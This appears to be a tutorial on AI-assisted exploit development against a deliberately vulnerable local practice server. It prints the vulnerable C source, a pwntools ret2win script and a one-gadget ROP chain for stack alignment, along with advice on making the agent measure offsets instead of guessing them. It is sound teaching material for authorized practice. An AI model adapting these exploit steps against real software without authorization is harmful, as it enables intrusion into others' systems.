AI for exploit development: a pwntools and gdb workflow with an agent
A worked stack-overflow against a practice target with an AI agent — checksec, a cyclic offset, a ret2win, then a one-gadget ROP for stack alignment — plus how to keep the model honest. Authorized practice targets only.
· 8 min read

Exploit development is a good fit for an AI agent: it's iterative, the feedback is concrete (the program crashes or it doesn't), and most of the work is small scripts the model writes quickly. Hand it a live shell with gdb and pwntools and it can run checksec, find an offset, draft a pwntools script, watch it fail in the debugger and fix it — the loop you'd run by hand, faster.
The rule that keeps it useful: the model drives the tools; the target decides who's right. A model reasoning about memory from memory invents offsets and addresses. A model that runs cyclic, reads $rsp in gdb and reruns the script is checking every guess against the binary. Give it the tools, not pasted disassembly.
This whole workflow is for targets you're allowed to attack: binaries you compiled, CTF challenges, HackTheBox/pwnable boxes, or caveira's disposable /lab start pwn target, which is what we use below. Never point this at software you don't own or have written permission to test.
The practice target
caveira ships a local pwn target: /lab start pwn builds and runs a deliberately vulnerable server, bound to 127.0.0.1:31337 only. Its source (core/labs/assets/pwn.c in the client repo) is short:
void win(void) { puts("caveira{local_stack_practice}"); }
void challenge(void) {
char input[64];
puts("Send your name:");
read(STDIN_FILENO, input, 256); // reads 256 into a 64-byte buffer
puts("Thanks.");
}
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); challenge(); return 0; }
A 64-byte buffer, a 256-byte read: a textbook stack overflow. The goal is to redirect execution into win(), which prints the flag. It's built -fno-stack-protector -no-pie (no canary, fixed addresses), so this is the clean introductory case — real targets add canaries, PIE and ASLR, and this guide is the first rung of that ladder, not the whole thing.
Get a copy of the binary to analyse and debug locally. With the lab running:
docker cp "$(docker ps -qf name=caveira-lab-pwn)":/challenge ./challenge
Everything below runs comfortably in caveira's optional Docker box (pwntools, gdb with GEF, radare2, checksec, ROPgadget all preinstalled), or any machine with those tools.
Step 1: let the agent triage the binary
Start with the cheap facts. A good opening prompt:
This is a CTF practice binary I'm allowed to attack. Run
checksecandfileon ./challenge, tell me which protections are on or off, and find the address of any function named win.
The commands behind it:
file ./challenge
checksec --file=./challenge # or: pwn checksec ./challenge
nm ./challenge | grep -i win # win's address; works because it's not stripped
checksec here reports No canary, NX enabled, No PIE. No canary means the overflow isn't detected; No PIE means win's address is fixed, so no leak is needed. NX (non-executable stack) only matters if you try to run shellcode on the stack — we won't; we're reusing existing code, which is why NX doesn't stop us.
Have the model write down what it found. The protections dictate the technique, and getting them wrong is the most common way an exploit attempt wastes an hour.
Step 2: find the offset with a cyclic pattern
The offset from the start of the buffer to the saved return address is the one number everything depends on. Don't let the model compute it from the source — have it measure it, because padding and alignment make the arithmetic unreliable. pwntools' cyclic makes a De Bruijn pattern where every 4-byte window is unique, so the value that lands in a register tells you the offset directly.
pwn cyclic 200 > pattern.txt # a 200-byte unique pattern
gdb ./challenge
pwndbg> run < pattern.txt # or with GEF; both show the crash state
# ... SIGSEGV. Read the faulting address, then:
pwndbg> cyclic -l 0x6161616c # the value in RSP (or RIP) at the crash
cyclic -l prints the offset for that chunk. For this target it comes out to 72 — 64 bytes of buffer plus 8 bytes of saved RBP before the saved return address. Let the tool tell you; don't trust the 72 because a human (or a model) asserted it. Re-measuring here is the difference between a working exploit and a confusing crash.
Step 3: the ret2win
Now the script. A good prompt:
Offset to saved RIP is 72 (confirmed with cyclic). win is at the address from nm. Write a pwntools script that overflows the buffer and returns into win, and that works against both the local binary and the remote service on 127.0.0.1:31337. Make the target switchable with an argument.
A clean version of what it should produce:
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./challenge')
def start():
if args.REMOTE:
return remote('127.0.0.1', 31337)
return process('./challenge')
offset = 72
payload = flat(b'A' * offset, elf.symbols['win'])
io = start()
io.recvuntil(b'name:')
io.sendline(payload)
io.stream() # print whatever the target sends back
Run it locally first (python3 exploit.py), then against the service (python3 exploit.py REMOTE). elf.symbols['win'] reads the address from the binary, so the model never hard-codes it. If win printed the flag, you're done — for many intro challenges this is the whole exploit.
Step 4: the one-gadget ROP when alignment bites
There's a real gotcha worth seeing, because it's the first taste of ROP and it trips people constantly. If the straight ret2win crashes inside win or puts instead of printing, the cause is usually stack alignment: the x86-64 ABI wants %rsp 16-byte aligned at a call, and libc functions that use SSE (puts pulls in movaps) fault when it isn't. Your overflow shifted the stack by 8, so it's misaligned.
The fix is one gadget: return into a bare ret first, which nudges %rsp by 8 and realigns it, then into win. That's a two-link ROP chain — the smallest real one.
ROPgadget --binary ./challenge | grep ': ret$' # pick any plain 'ret' address
Then the payload becomes a chain:
rop = ROP(elf)
rop.raw(rop.ret) # pwntools finds a ret gadget for you
rop.call(elf.symbols['win'])
payload = flat(b'A' * offset, rop.chain())
Ask the model to explain why the extra ret is there before you accept it — "it aligns the stack to 16 bytes so movaps in puts doesn't fault" is the right answer. If it can't justify a gadget, don't trust the chain; a plausible-looking ROP that the model can't explain is exactly where it invents addresses.
Keeping the model honest
Put these in your project instructions (CAVEIRA.md, CLAUDE.md or AGENTS.md):
- Measure, don't compute. Offsets come from
cyclic, addresses from the ELF or gdb — never from reasoning about source. - Every address cites its source.
elf.symbols[...], anmline, or a gdb read. No magic numbers. - Prove each step in gdb before building on it. Confirm control of
RIPbefore writing the chain; confirm alignment before blaming the gadget. - Local before remote. Get it working on
process()with a debugger attached, then flip toremote(). - State the assumptions. NX, PIE, ASLR and canary status change the whole approach; make the model name them.
When a model skips the measuring step it will happily hand you a confident, wrong offset. The debugger is the authority. Everything the model claims about the stack should be something you can watch happen in gdb.
Where this goes next
Real targets layer on what this one leaves off: stack canaries you have to leak, PIE and ASLR that force an address leak before any jump, NX that pushes you from "run shellcode" to full ROP and ret2libc, and seccomp that constrains the syscalls you can reach. The workflow doesn't change — triage, measure, prove each step, keep the model citing the binary — only the number of steps does. caveira's box ships the toolchain and /lab start pwn gives you a safe first target; graduate to CTF challenges and pwnable wargames from there, and never to anything you aren't authorized to attack. For the reverse-engineering side of understanding a target before you exploit it, see the Ghidra/IDA/radare2 workflow.